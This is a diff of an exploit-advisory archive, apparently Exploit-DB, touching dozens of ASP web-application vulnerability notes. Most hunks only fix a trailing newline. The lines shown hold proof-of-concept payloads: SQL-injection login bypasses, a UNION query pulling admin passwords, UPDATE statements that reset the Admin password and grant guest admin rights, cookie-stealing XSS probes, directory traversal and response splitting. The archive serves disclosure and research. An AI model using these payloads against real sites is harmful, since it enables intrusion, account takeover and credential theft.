a/platforms/asp/webapps/25536.txt +++ b/platforms/asp/webapps/25536.txt @@ -7,4 +7,4 @@ An attacker may exploit this issue to manipulate SQL queries to the underlying d http://www.example.com/eshopv-8/product.asp?intProdID='SQL_INJECTION&%3bstrCatalog_NAME=&%3bstrSubCatalog_NAME=&%3bstrSubCatalogID=&%3bintCatalogID=10001&%3bCurCatalogID= http://www.example.com/mcart2pfp/product.asp?intProdID='SQL_INJECTION http://www.example.com/mcart2sqluk/product.asp?intProdID='SQL_INJECTION -http://www.example.com/mcart2pal/product.asp?intProdID='SQL_INJECTION \ No newline at end of file +http://www.example.com/mcart2pal/product.asp?intProdID='SQL_INJECTION \ No newline at end of file diff --git a/platforms/asp/webapps/25537.txt b/platforms/asp/webapps/25537.txt index 899426599..08b1ba63a 100755 --- a/platforms/asp/webapps/25537.txt +++ b/platforms/asp/webapps/25537.txt @@ -5,4 +5,4 @@ An SQL injection vulnerability affects MetaCart e-Shop V-8. This issue is due to An attacker may exploit this issue to manipulate SQL queries to the underlying database. This may facilitate theft sensitive information, potentially including authentication credentials, and data corruption. http://www.example.com/eshopv-8/productsByCategory.asp?intCatalogID=&%3bpage=2&%3bstrCatalog_NAME='SQL_INJECTION -http://www.example.com/mcart2pal/productsByCategory.asp?intCatalogID=&%3bpage=2&%3bstrCatalog_NAME='SQL_INJECTION \ No newline at end of file +http://www.example.com/mcart2pal/productsByCategory.asp?intCatalogID=&%3bpage=2&%3bstrCatalog_NAME='SQL_INJECTION \ No newline at end of file diff --git a/platforms/asp/webapps/25539.txt b/platforms/asp/webapps/25539.txt index a84cd6964..06c9ede78 100755 --- a/platforms/asp/webapps/25539.txt +++ b/platforms/asp/webapps/25539.txt @@ -8,4 +8,4 @@ MetaCart2 is vulnerable; other versions may also be affected. http://www.example.com/mcart2pfp/productsByCategory.asp?intCatalogID='SQL_INJECTION&%3bstrCatalog_NAME=Computers http://www.example.com/mcart2pal/productsByCategory.asp?intCatalogID=%27SQL_INJECTION&%3bstrCatalog_NAME=Computers -http://www.example.com/mcart2sqluk/productsByCategory.asp?intCatalogID='SQL_INJECTION&%3bpage=2 \ No newline at end of file +http://www.example.com/mcart2sqluk/productsByCategory.asp?intCatalogID='SQL_INJECTION&%3bpage=2 \ No newline at end of file diff --git a/platforms/asp/webapps/25540.txt b/platforms/asp/webapps/25540.txt index 81f590d93..0821adad5 100755 --- a/platforms/asp/webapps/25540.txt +++ b/platforms/asp/webapps/25540.txt @@ -6,4 +6,4 @@ An attacker may exploit this issue to manipulate SQL queries to the underlying d http://www.example.com/mcart2pfp/productsByCategory.asp?strSubCatalogID='SQL_INJECTION&%3bcurCatalogID=10001&%3bstrSubCatalog_NAME=Laptops http://www.example.com/mcart2pal/productsByCategory.asp?strSubCatalogID=%27SQL_INJECTION&%3bcurCatalogID=10001&%3bstrSubCatalog_NAME=Laptops -http://www.example.com/mcart2sqluk/productsByCategory.asp?strSubCatalogID='SQL_INJECTION \ No newline at end of file +http://www.example.com/mcart2sqluk/productsByCategory.asp?strSubCatalogID='SQL_INJECTION \ No newline at end of file diff --git a/platforms/asp/webapps/25541.txt b/platforms/asp/webapps/25541.txt index 1d2a06181..f675a8b18 100755 --- a/platforms/asp/webapps/25541.txt +++ b/platforms/asp/webapps/25541.txt @@ -5,4 +5,4 @@ A remote SQL injection vulnerability affects MetaCart2. This issue is due to a f An attacker may exploit this issue to manipulate SQL queries to the underlying database. This may facilitate theft sensitive information, potentially including authentication credentials, and data corruption. http://www.example.com/mcart2pfp/productsByCategory.asp?strSubCatalogID=1&%3bcurCatalogID='SQL_INJECTION&%3bstrSubCatalog_NAME=Laptops -http://www.example.com/mcart2pal/productsByCategory.asp?strSubCatalogID=1&%3bcurCatalogID=%27SQL_INJECTION&%3bstrSubCatalog_NAME=Laptops \ No newline at end of file +http://www.example.com/mcart2pal/productsByCategory.asp?strSubCatalogID=1&%3bcurCatalogID=%27SQL_INJECTION&%3bstrSubCatalog_NAME=Laptops \ No newline at end of file diff --git a/platforms/asp/webapps/25542.txt b/platforms/asp/webapps/25542.txt index b04ed60bd..f54717d7d 100755 --- a/platforms/asp/webapps/25542.txt +++ b/platforms/asp/webapps/25542.txt @@ -5,4 +5,4 @@ A remote SQL injection vulnerability affects MetaCart2. This issue is due to a f An attacker may exploit this issue to manipulate SQL queries to the underlying database. This may facilitate theft sensitive information, potentially including authentication credentials, and data corruption. http://www.example.com/mcart2pfp/productsByCategory.asp?strSubCatalogID=1&%3bcurCatalogID=10001&%3bstrSubCatalog_NAME='SQL_INJECTION -http://www.example.com/mcart2pal/productsByCategory.asp?strSubCatalogID=1&%3bcurCatalogID=10001&%3bstrSubCatalog_NAME='SQL_INJECTION \ No newline at end of file +http://www.example.com/mcart2pal/productsByCategory.asp?strSubCatalogID=1&%3bcurCatalogID=10001&%3bstrSubCatalog_NAME='SQL_INJECTION \ No newline at end of file diff --git a/platforms/asp/webapps/25543.txt b/platforms/asp/webapps/25543.txt index b8a2aa3fd..f94d744e4 100755 --- a/platforms/asp/webapps/25543.txt +++ b/platforms/asp/webapps/25543.txt @@ -9,4 +9,4 @@ http://www.example.com/mcart2sqluk/searchAction.asp?chkText=yes&strText='SQL_INJ http://www.example.com/mcart2sqluk/searchAction.asp?chkText=yes&strText=dcrab&chkPrice='SQL_INJECTION&intPrice=all&chkCat=yes&strCat=1 http://www.example.com/mcart2sqluk/searchAction.asp?chkText=yes&strText=dcrab&chkPrice=yes&intPrice='SQL_INJECTION&chkCat=yes&strCat=1 http://www.example.com/mcart2sqluk/searchAction.asp?chkText=yes&strText=dcrab&chkPrice=yes&intPrice=all&chkCat='SQL_INJECTION&strCat=1 -http://www.example.com/mcart2sqluk/searchAction.asp?chkText=yes&strText=dcrab&chkPrice=yes&intPrice=all&chkCat=yes&strCat='SQL_INJECTION \ No newline at end of file +http://www.example.com/mcart2sqluk/searchAction.asp?chkText=yes&strText=dcrab&chkPrice=yes&intPrice=all&chkCat=yes&strCat='SQL_INJECTION \ No newline at end of file diff --git a/platforms/asp/webapps/25544.txt b/platforms/asp/webapps/25544.txt index 3ae2d65f3..3471bbd38 100755 --- a/platforms/asp/webapps/25544.txt +++ b/platforms/asp/webapps/25544.txt @@ -4,4 +4,4 @@ A remote SQL injection vulnerability affects MetaBid Auctions. This issue is due An attacker may exploit this issue to manipulate SQL queries to the underlying database. This may facilitate the theft of sensitive information, potentially including authentication credentials, and data corruption. -http://example.com/metabid/item.asp?intAuctionID='SQL_INJECTION \ No newline at end of file +http://example.com/metabid/item.asp?intAuctionID='SQL_INJECTION \ No newline at end of file diff --git a/platforms/asp/webapps/25589.txt b/platforms/asp/webapps/25589.txt index 15dfba4b7..298fd19cb 100755 --- a/platforms/asp/webapps/25589.txt +++ b/platforms/asp/webapps/25589.txt @@ -5,4 +5,4 @@ MaxWebPortal is reportedly affected by multiple SQL injection vulnerabilities. T Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. custom_link.asp?method=Topic&TOPIC_ID=[Sql inject] -custom_link.asp?method=Forum&Forum_ID=[Sql inject] \ No newline at end of file +custom_link.asp?method=Forum&Forum_ID=[Sql inject] \ No newline at end of file diff --git a/platforms/asp/webapps/25595.txt b/platforms/asp/webapps/25595.txt index 7371d73bc..c082dbdf6 100755 --- a/platforms/asp/webapps/25595.txt +++ b/platforms/asp/webapps/25595.txt @@ -4,4 +4,4 @@ ASP Inline Corporate Calendar is prone to an SQL injection vulnerability. This i Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/Calendar/defer.asp?Event_ID='&Occurr_ID=0 \ No newline at end of file +http://www.example.com/Calendar/defer.asp?Event_ID='&Occurr_ID=0 \ No newline at end of file diff --git a/platforms/asp/webapps/25596.txt b/platforms/asp/webapps/25596.txt index 7ac512b2a..ce750500b 100755 --- a/platforms/asp/webapps/25596.txt +++ b/platforms/asp/webapps/25596.txt @@ -4,4 +4,4 @@ ASP Inline Corporate Calendar is prone to an SQL injection vulnerability. This i Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/Calendar/details.asp?Event_ID=' \ No newline at end of file +http://www.example.com/Calendar/details.asp?Event_ID=' \ No newline at end of file diff --git a/platforms/asp/webapps/25651.txt b/platforms/asp/webapps/25651.txt index 7cb0f2c44..c094de929 100755 --- a/platforms/asp/webapps/25651.txt +++ b/platforms/asp/webapps/25651.txt @@ -12,4 +12,4 @@ Cross-site Scripting /post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=%00General+Chat&type="> HTML Injection: -/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=http://<plaintext> \ No newline at end of file +/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=http://<plaintext> \ No newline at end of file diff --git a/platforms/asp/webapps/25661.txt b/platforms/asp/webapps/25661.txt index e5ccc3e53..7e099726a 100755 --- a/platforms/asp/webapps/25661.txt +++ b/platforms/asp/webapps/25661.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/13630/info Keyvan1 ImageGallery is prone to an access validation vulnerability that could allow the underlying database to be downloaded. -http://www.example.com/[path]/image.mdb \ No newline at end of file +http://www.example.com/[path]/image.mdb \ No newline at end of file diff --git a/platforms/asp/webapps/25667.txt b/platforms/asp/webapps/25667.txt index 2c8b9640b..001a96008 100755 --- a/platforms/asp/webapps/25667.txt +++ b/platforms/asp/webapps/25667.txt @@ -4,4 +4,4 @@ MetaCart e-Shop is prone to a cross-site scripting vulnerability. This issue is An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/mcartlite/productsByCategory.asp?intCatalogID=1&strCatalog_NAME=<script>alert('test')</script> \ No newline at end of file +http://www.example.com/mcartlite/productsByCategory.asp?intCatalogID=1&strCatalog_NAME=<script>alert('test')</script> \ No newline at end of file diff --git a/platforms/asp/webapps/25700.txt b/platforms/asp/webapps/25700.txt index 602c379cb..319eca500 100755 --- a/platforms/asp/webapps/25700.txt +++ b/platforms/asp/webapps/25700.txt @@ -23,4 +23,4 @@ http://www.example.com/store/BrowseMain.asp?Cat0=565[XSS-CODE]&Cat0Literal=Bible http://www.example.com/store/BrowseMain.asp?Cat0=565&Cat0Literal=Bibles[XSS-CODE]&CurHigh=4 http://www.example.com/store/BrowseMain.asp?Cat0=783&Cat0Literal=Gifts&CurHigh=3"><script>alert(document.cookie)</script> http://www.example.com/store/NewCustomer.asp?newemail=zzzz@lalala.es&RedirectURL=[XSS-CODE] -http://www.example.com/store/Login.asp?RedirectURL=[XSS-code] \ No newline at end of file +http://www.example.com/store/Login.asp?RedirectURL=[XSS-code] \ No newline at end of file diff --git a/platforms/asp/webapps/25701.txt b/platforms/asp/webapps/25701.txt index e3df5e09c..924b0f965 100755 --- a/platforms/asp/webapps/25701.txt +++ b/platforms/asp/webapps/25701.txt @@ -12,4 +12,4 @@ http://www.example.com/store/ViewItem.asp?ISBN=0789906651[SQL-INJECTION]&Cat0=56 http://www.example.com/store/ViewItem.asp?ISBN=0789906651&Cat0=565[SQL-INJECTION] http://www.example.com/store/STWShowContent.asp?idRightPage=13032[SQL-INJECTION] http://www.example.com/store/MySide.Asp?Cat0=565[SQL-INJECTION]&Cat0Literal=Bibles -http://www.example.com/store/BrowseMain.asp?Cat0=565[SQL-INJECTION]&Cat0Literal=Bibles&CurHigh=4 \ No newline at end of file +http://www.example.com/store/BrowseMain.asp?Cat0=565[SQL-INJECTION]&Cat0Literal=Bibles&CurHigh=4 \ No newline at end of file diff --git a/platforms/asp/webapps/25705.txt b/platforms/asp/webapps/25705.txt index 05cb6d483..42ced92e0 100755 --- a/platforms/asp/webapps/25705.txt +++ b/platforms/asp/webapps/25705.txt @@ -5,4 +5,4 @@ FunkyASP AD Systems is prone to an SQL injection vulnerability. This issue is du Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. Supplying admin for the Username and ' or ''=' for the -Password of login.asp is sufficient to authenticate to the administrator account. \ No newline at end of file +Password of login.asp is sufficient to authenticate to the administrator account. \ No newline at end of file diff --git a/platforms/asp/webapps/25751.txt b/platforms/asp/webapps/25751.txt index ea604587c..c43372bfa 100755 --- a/platforms/asp/webapps/25751.txt +++ b/platforms/asp/webapps/25751.txt @@ -9,4 +9,4 @@ Successful exploitation could result in a compromise of the application, disclos All versions are considered to be vulnerable at the moment. The following proof of concept is available: -Password= ' or ''=' \ No newline at end of file +Password= ' or ''=' \ No newline at end of file diff --git a/platforms/asp/webapps/25753.txt b/platforms/asp/webapps/25753.txt index abcd2c41b..4398d8e25 100755 --- a/platforms/asp/webapps/25753.txt +++ b/platforms/asp/webapps/25753.txt @@ -4,4 +4,4 @@ Hosting Controller is reported prone to multiple vulnerabilities. These issues c These issues reportedly affect Hosting Controller 6.1 HotFix 2.0 and prior versions. -http://www.example.com/admin/hosting/resellerresources.asp?action=2&jresourceid=1%20or%201=1 \ No newline at end of file +http://www.example.com/admin/hosting/resellerresources.asp?action=2&jresourceid=1%20or%201=1 \ No newline at end of file diff --git a/platforms/asp/webapps/25780.txt b/platforms/asp/webapps/25780.txt index cb409c0ac..dc80af786 100755 --- a/platforms/asp/webapps/25780.txt +++ b/platforms/asp/webapps/25780.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Supplying the following is sufficient to gain access to the admin control panel: Username =admin -Password= ' or ''=' \ No newline at end of file +Password= ' or ''=' \ No newline at end of file diff --git a/platforms/asp/webapps/25781.txt b/platforms/asp/webapps/25781.txt index 415d6ce14..2a07f1f33 100755 --- a/platforms/asp/webapps/25781.txt +++ b/platforms/asp/webapps/25781.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Supplying the following is sufficient to gain access to the admin control panel: username: admin -password: ' or 'a'='a \ No newline at end of file +password: ' or 'a'='a \ No newline at end of file diff --git a/platforms/asp/webapps/25783.txt b/platforms/asp/webapps/25783.txt index 32911d3cb..12567dab8 100755 --- a/platforms/asp/webapps/25783.txt +++ b/platforms/asp/webapps/25783.txt @@ -8,4 +8,4 @@ livingmailing 1.3 is reported vulnerable. The following proof of concept is available: Username =admin -Password= ' or ''=' \ No newline at end of file +Password= ' or ''=' \ No newline at end of file diff --git a/platforms/asp/webapps/25785.txt b/platforms/asp/webapps/25785.txt index 48090ff9b..a3977b3b3 100755 --- a/platforms/asp/webapps/25785.txt +++ b/platforms/asp/webapps/25785.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos http://www.example.com/liberum/view.asp?id='[SQL Injection] http://www.example.com/liberum/register.asp?edit='[SQL Injection] -http://www.example.com/liberum/print.asp?id='[SQL Injection] \ No newline at end of file +http://www.example.com/liberum/print.asp?id='[SQL Injection] \ No newline at end of file diff --git a/platforms/asp/webapps/25790.txt b/platforms/asp/webapps/25790.txt index 60af32437..d92ec153c 100755 --- a/platforms/asp/webapps/25790.txt +++ b/platforms/asp/webapps/25790.txt @@ -8,4 +8,4 @@ WWWeb Concepts Events System 1.0 is reportedly vulnerable. The following proof of concept is available: Uername =admin -Password= ' or ''=' \ No newline at end of file +Password= ' or ''=' \ No newline at end of file diff --git a/platforms/asp/webapps/25798.txt b/platforms/asp/webapps/25798.txt index 8544a3463..a627fbefe 100755 --- a/platforms/asp/webapps/25798.txt +++ b/platforms/asp/webapps/25798.txt @@ -4,4 +4,4 @@ ProductCart is prone to multiple SQL injection vulnerabilities. These issues are Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/pc/pcadmin/OptionFieldsEdit.asp?idc=1&id=[id]&idccr=[id][sqlInjection] \ No newline at end of file +http://www.example.com/pc/pcadmin/OptionFieldsEdit.asp?idc=1&id=[id]&idccr=[id][sqlInjection] \ No newline at end of file diff --git a/platforms/asp/webapps/25804.txt b/platforms/asp/webapps/25804.txt index 2d36cef70..bf4a6150c 100755 --- a/platforms/asp/webapps/25804.txt +++ b/platforms/asp/webapps/25804.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos The following proof of concept is available: user: anyuser -pass: 'or''=' \ No newline at end of file +pass: 'or''=' \ No newline at end of file diff --git a/platforms/asp/webapps/25805.txt b/platforms/asp/webapps/25805.txt index 2c2320513..d3da9864c 100755 --- a/platforms/asp/webapps/25805.txt +++ b/platforms/asp/webapps/25805.txt @@ -4,4 +4,4 @@ Loki Download Manager is prone to an SQL injection vulnerability. This issue is Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/downmancv/catinfo.asp?cat=' union select null,null,user,null,null,null,null,null,pass,null,null,null,null,null FROM tblAdm' \ No newline at end of file +http://www.example.com/downmancv/catinfo.asp?cat=' union select null,null,user,null,null,null,null,null,pass,null,null,null,null,null FROM tblAdm' \ No newline at end of file diff --git a/platforms/asp/webapps/25839.txt b/platforms/asp/webapps/25839.txt index 68c98ab3c..b1f0cd0c5 100755 --- a/platforms/asp/webapps/25839.txt +++ b/platforms/asp/webapps/25839.txt @@ -8,4 +8,4 @@ Cool Cafe Chat 1.2.1 is reportedly vulnerable. The following proof of concept is available: user: admin -password: 'or' \ No newline at end of file +password: 'or' \ No newline at end of file diff --git a/platforms/asp/webapps/25843.txt b/platforms/asp/webapps/25843.txt index 6bf76a8fc..a85001c6f 100755 --- a/platforms/asp/webapps/25843.txt +++ b/platforms/asp/webapps/25843.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos http://www.example.com/UblogReload/index.asp?ci='62&s=category http://www.example.com/UblogReload/index.asp?d=11'&m=6&y=2005&s=day -http://www.example.com/UblogReload/index.asp?m=6'&y=2005&s=month \ No newline at end of file +http://www.example.com/UblogReload/index.asp?m=6'&y=2005&s=month \ No newline at end of file diff --git a/platforms/asp/webapps/25847.txt b/platforms/asp/webapps/25847.txt index 3f0cf3908..4d0a0d10f 100755 --- a/platforms/asp/webapps/25847.txt +++ b/platforms/asp/webapps/25847.txt @@ -8,4 +8,4 @@ StoreFront Shopping Cart 5.0 is affected by this vulnerability. The following proof of concept example is available: Email id: example@example.com -Password: ' or '=' \ No newline at end of file +Password: ' or '=' \ No newline at end of file diff --git a/platforms/asp/webapps/25853.txt b/platforms/asp/webapps/25853.txt index 5e9c52d28..fb7c7a430 100755 --- a/platforms/asp/webapps/25853.txt +++ b/platforms/asp/webapps/25853.txt @@ -4,4 +4,4 @@ i-Gallery is prone to a directory traversal vulnerability. This could let remote attackers access files on the computer in the context of the Web server process. -http://www.example.com/gallery/folderview.asp?folder=Sport+Champions/../../../../../../../../winnt/repair \ No newline at end of file +http://www.example.com/gallery/folderview.asp?folder=Sport+Champions/../../../../../../../../winnt/repair \ No newline at end of file diff --git a/platforms/asp/webapps/25855.txt b/platforms/asp/webapps/25855.txt index be11afa1b..a97e737e2 100755 --- a/platforms/asp/webapps/25855.txt +++ b/platforms/asp/webapps/25855.txt @@ -4,4 +4,4 @@ i-Gallery is prone to a cross-site scripting vulnerability. This issue is due to An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. -http://www.example.com/gallery/folderview.asp?folder=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/gallery/folderview.asp?folder=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/asp/webapps/25858.txt b/platforms/asp/webapps/25858.txt index 94211da7b..7b5ca6259 100755 --- a/platforms/asp/webapps/25858.txt +++ b/platforms/asp/webapps/25858.txt @@ -13,4 +13,4 @@ http://www.example.com/DUportalPro34/topics/cat.asp?iCat=4[SQL Inject]&iChannel= http://www.example.com/DUportalPro34/Polls/default.asp?iChannel=15[SQL Inject]&nChannel=Polls http://www.example.com/DUportalPro34/home/members.asp?iMem=[SQL Inject] http://www.example.com/DUportalPro34/admin/members_listing_approval.asp?offset=[SQL Inject] -http://www.example.com/DUportalPro34/admin/channels_edit.asp?iChannel=7[SQL inject]&nChannel=[Name Module] \ No newline at end of file +http://www.example.com/DUportalPro34/admin/channels_edit.asp?iChannel=7[SQL inject]&nChannel=[Name Module] \ No newline at end of file diff --git a/platforms/asp/webapps/25866.txt b/platforms/asp/webapps/25866.txt index 36f1ff3e4..1ad825454 100755 --- a/platforms/asp/webapps/25866.txt +++ b/platforms/asp/webapps/25866.txt @@ -4,4 +4,4 @@ DUpaypal Pro is prone to multiple SQL-injection vulnerabilities because the fail A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/DUpaypalPro/shops/detail.asp?iPro=40[SQL Inject]&iSub= \ No newline at end of file +http://www.example.com/DUpaypalPro/shops/detail.asp?iPro=40[SQL Inject]&iSub= \ No newline at end of file diff --git a/platforms/asp/webapps/25867.txt b/platforms/asp/webapps/25867.txt index d64227e37..0e6cc5472 100755 --- a/platforms/asp/webapps/25867.txt +++ b/platforms/asp/webapps/25867.txt @@ -4,4 +4,4 @@ DUpaypal Pro is prone to multiple SQL-injection vulnerabilities because the fail A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/DUpaypalPro/shops/sub.asp?iSub=[SQL Inject] \ No newline at end of file +http://www.example.com/DUpaypalPro/shops/sub.asp?iSub=[SQL Inject] \ No newline at end of file diff --git a/platforms/asp/webapps/25868.txt b/platforms/asp/webapps/25868.txt index fe684a432..0898cbe67 100755 --- a/platforms/asp/webapps/25868.txt +++ b/platforms/asp/webapps/25868.txt @@ -4,4 +4,4 @@ DUforum is prone to multiple SQL-injection vulnerabilities because the applicati A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/DUforum/messages.asp?iMsg=[SQL Inject]248&iFor=6 \ No newline at end of file +http://www.example.com/DUforum/messages.asp?iMsg=[SQL Inject]248&iFor=6 \ No newline at end of file diff --git a/platforms/asp/webapps/25869.txt b/platforms/asp/webapps/25869.txt index 3099f7533..756fe914c 100755 --- a/platforms/asp/webapps/25869.txt +++ b/platforms/asp/webapps/25869.txt @@ -4,4 +4,4 @@ DUforum is prone to multiple SQL-injection vulnerabilities because the applicati A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/DUforum/post.asp?iFor=6[SQL Inject] \ No newline at end of file +http://www.example.com/DUforum/post.asp?iFor=6[SQL Inject] \ No newline at end of file diff --git a/platforms/asp/webapps/25870.txt b/platforms/asp/webapps/25870.txt index 071a2b653..b901171fd 100755 --- a/platforms/asp/webapps/25870.txt +++ b/platforms/asp/webapps/25870.txt @@ -4,4 +4,4 @@ DUforum is prone to multiple SQL-injection vulnerabilities because the applicati A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/DUforum/forums.asp?iFor=[SQL Inject] \ No newline at end of file +http://www.example.com/DUforum/forums.asp?iFor=[SQL Inject] \ No newline at end of file diff --git a/platforms/asp/webapps/25871.txt b/platforms/asp/webapps/25871.txt index 98e25b467..f13d0f58a 100755 --- a/platforms/asp/webapps/25871.txt +++ b/platforms/asp/webapps/25871.txt @@ -4,4 +4,4 @@ DUforum is prone to multiple SQL-injection vulnerabilities because the applicati A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/DUforum/admin/userEdit.asp?id=[SQL Inject] \ No newline at end of file +http://www.example.com/DUforum/admin/userEdit.asp?id=[SQL Inject] \ No newline at end of file diff --git a/platforms/asp/webapps/25872.txt b/platforms/asp/webapps/25872.txt index 7ea550d1e..06198c2e7 100755 --- a/platforms/asp/webapps/25872.txt +++ b/platforms/asp/webapps/25872.txt @@ -4,4 +4,4 @@ DUclassmate is prone to multiple SQL-injection vulnerabilities because the appli A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/DUclassmate/default.asp?iState=[SQL Inject]&nState=Florida \ No newline at end of file +http://www.example.com/DUclassmate/default.asp?iState=[SQL Inject]&nState=Florida \ No newline at end of file diff --git a/platforms/asp/webapps/25873.txt b/platforms/asp/webapps/25873.txt index 571004560..49a8a002d 100755 --- a/platforms/asp/webapps/25873.txt +++ b/platforms/asp/webapps/25873.txt @@ -4,4 +4,4 @@ DUclassmate is prone to multiple SQL-injection vulnerabilities because the appli A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/DUclassmate/admin/edit.asp?iPro=[SQL Inject] \ No newline at end of file +http://www.example.com/DUclassmate/admin/edit.asp?iPro=[SQL Inject] \ No newline at end of file diff --git a/platforms/asp/webapps/25874.txt b/platforms/asp/webapps/25874.txt index 72c005baa..91307f93a 100755 --- a/platforms/asp/webapps/25874.txt +++ b/platforms/asp/webapps/25874.txt @@ -9,4 +9,4 @@ Reset the Admin user password with a blank password: - 'UPDATE WebUser SET sPassword=DEFAULT WHERE sUserName='Admin'-- Elevate Guest user privileges to Admin privileges: -- 'UPDATE WebUser SET nUserRightsMask=-1 WHERE sUserName='guest'-- \ No newline at end of file +- 'UPDATE WebUser SET nUserRightsMask=-1 WHERE sUserName='guest'-- \ No newline at end of file diff --git a/platforms/asp/webapps/25906.txt b/platforms/asp/webapps/25906.txt index 6a9475c2e..502b76fd8 100755 --- a/platforms/asp/webapps/25906.txt +++ b/platforms/asp/webapps/25906.txt @@ -12,4 +12,4 @@ http://www.example.com/module/account/register/register.asp?Address1=%22%3E%3Csc http://www.example.com/module/account/register/register.asp?Address2=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/module/account/register/register.asp?City=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/module/account/register/register.asp?ZipCode=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E -http://www.example.com/module/account/register/register.asp?Email=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/module/account/register/register.asp?Email=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/asp/webapps/25907.txt b/platforms/asp/webapps/25907.txt index bc749c2c9..714073ebe 100755 --- a/platforms/asp/webapps/25907.txt +++ b/platforms/asp/webapps/25907.txt @@ -4,4 +4,4 @@ ASPNuke is prone to an HTTP response splitting vulnerability. This issue is due A remote attacker may exploit this vulnerability to influence or misrepresent how Web content is served, cached or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust. -http://www.example.com/module/support/language/language_select.asp?action=go&LangCode=trivero%0d%0aSet-Cookie%3Asome%3Dvalue \ No newline at end of file +http://www.example.com/module/support/language/language_select.asp?action=go&LangCode=trivero%0d%0aSet-Cookie%3Asome%3Dvalue \ No newline at end of file diff --git a/platforms/asp/webapps/25908.txt b/platforms/asp/webapps/25908.txt index 5df628404..5f31cf6cb 100755 --- a/platforms/asp/webapps/25908.txt +++ b/platforms/asp/webapps/25908.txt @@ -61,4 +61,4 @@ upload<br> </table> </body> <center><b>pOWERED By Team-Evil l8oo8l@gmail.com -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/asp/webapps/25913.txt b/platforms/asp/webapps/25913.txt index 58b11c2d4..48c62e450 100755 --- a/platforms/asp/webapps/25913.txt +++ b/platforms/asp/webapps/25913.txt @@ -4,4 +4,4 @@ Hosting Controller is prone to a cross-site scripting vulnerability. This issue An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/admin/hosting/error.asp?error=Xss vul \ No newline at end of file +http://www.example.com/admin/hosting/error.asp?error=Xss vul \ No newline at end of file diff --git a/platforms/asp/webapps/25914.txt b/platforms/asp/webapps/25914.txt index b20287dec..b47f10c40 100755 --- a/platforms/asp/webapps/25914.txt +++ b/platforms/asp/webapps/25914.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos Dynamic Biz Website Builder (QuickWeb) 1.0 is reportedly vulnerable. User ID : admin -Password : 'or '=' \ No newline at end of file +Password : 'or '=' \ No newline at end of file diff --git a/platforms/asp/webapps/2592.htm b/platforms/asp/webapps/2592.htm index c33354d44..643e72bc4 100755 --- a/platforms/asp/webapps/2592.htm +++ b/platforms/asp/webapps/2592.htm @@ -8,7 +8,7 @@ --> <html> <body bgcolor="#000000"> -<form method="POST" action="http://www.someserver/forum/doprofiledit.asp"><p><b> +<form method="POST" action="http://www.somesite.com/forum/doprofiledit.asp"><p><b> <font color="#FF0000" face="Verdana" size="2">Email: </font></b> <input type="text" name="Email" size="30" value="ajann@ajann.com"><br> <font face="Verdana" size="2"><b><font color="#FF0000">Password:</font>:</b></font> diff --git a/platforms/asp/webapps/25922.txt b/platforms/asp/webapps/25922.txt index b137079f1..9d869080d 100755 --- a/platforms/asp/webapps/25922.txt +++ b/platforms/asp/webapps/25922.txt @@ -4,4 +4,4 @@ CyberStrong eShop is prone to an SQL-injection vulnerability. As a result, the a Reportedly, the attacker may steal eShop authentication information. Other attacks may be possible, depending on the capabilities of the underlying database and the nature of the affected query. -http://www.example.com/eshop/20Review.asp?ProductCode=' \ No newline at end of file +http://www.example.com/eshop/20Review.asp?ProductCode=' \ No newline at end of file diff --git a/platforms/asp/webapps/25923.txt b/platforms/asp/webapps/25923.txt index 3ff84f6c9..d3d4616f9 100755 --- a/platforms/asp/webapps/25923.txt 